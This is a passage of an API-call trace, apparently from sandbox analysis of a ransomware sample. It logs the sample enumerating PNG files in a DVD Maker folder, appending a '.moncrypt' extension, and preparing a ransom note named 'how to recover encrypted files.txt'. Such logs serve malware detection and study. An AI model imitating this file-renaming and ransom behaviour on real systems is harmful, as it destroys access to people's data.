WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png", cchWideChar=78, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.pngt", lpUsedDefaultChar=0x0) returned 78 [0058.151] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Pets\\Pets_btn-back-over-select.pngt", lpUsedDefaultChar=0x0) returned 4 [0058.151] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-over-select.png", cAlternateFileName="")) returned 0x54e280 [0058.152] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.152] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.152] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.152] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png", dwFileAttributes=0x20) returned 0 [0058.153] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.153] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png.moncrypt")) returned 0 [0058.153] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7242e5e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7242e5e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-static.png", cAlternateFileName="")) returned 1 [0058.153] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.153] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.153] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.153] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.153] GlobalUnlock (hMem=0x44000c) returned 0 [0058.153] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.153] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.153] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.153] GlobalUnlock (hMem=0x44000c) returned 0 [0058.153] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.153] GlobalUnlock (hMem=0x440004) returned 0 [0058.153] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.154] CharLowerBuffW (in: lpsz="Pets_btn-back-static.png", cchLength=0x18 | out: lpsz="pets_btn-back-static.png") returned 0x18 [0058.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.154] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png", lpUsedDefaultChar=0x0) returned 73 [0058.155] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Pets\\Pets_btn-back-static.png", lpUsedDefaultChar=0x0) returned 4 [0058.155] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7242e5e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7242e5e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-static.png", cAlternateFileName="")) returned 0x54e280 [0058.155] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.155] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.155] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.155] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png", dwFileAttributes=0x20) returned 0 [0058.156] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.156] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png.moncrypt")) returned 0 [0058.156] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72454746, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72454746, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-over-select.png", cAlternateFileName="")) returned 1 [0058.156] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.156] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.156] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.156] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.156] GlobalUnlock (hMem=0x440004) returned 0 [0058.156] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.156] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.156] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.156] GlobalUnlock (hMem=0x440004) returned 0 [0058.156] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.156] GlobalUnlock (hMem=0x44000c) returned 0 [0058.156] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.157] CharLowerBuffW (in: lpsz="Pets_btn-next-over-select.png", cchLength=0x1d | out: lpsz="pets_btn-next-over-select.png") returned 0x1d [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.157] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png", cchWideChar=78, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.pngt", lpUsedDefaultChar=0x0) returned 78 [0058.158] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Pets\\Pets_btn-next-over-select.pngt", lpUsedDefaultChar=0x0) returned 4 [0058.158] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72454746, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72454746, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-over-select.png", cAlternateFileName="")) returned 0x54e280 [0058.158] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.158] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.158] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.158] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png", dwFileAttributes=0x20) returned 0 [0058.158] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.159] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), lpNewFileName="C:\\Program Files\\DVD 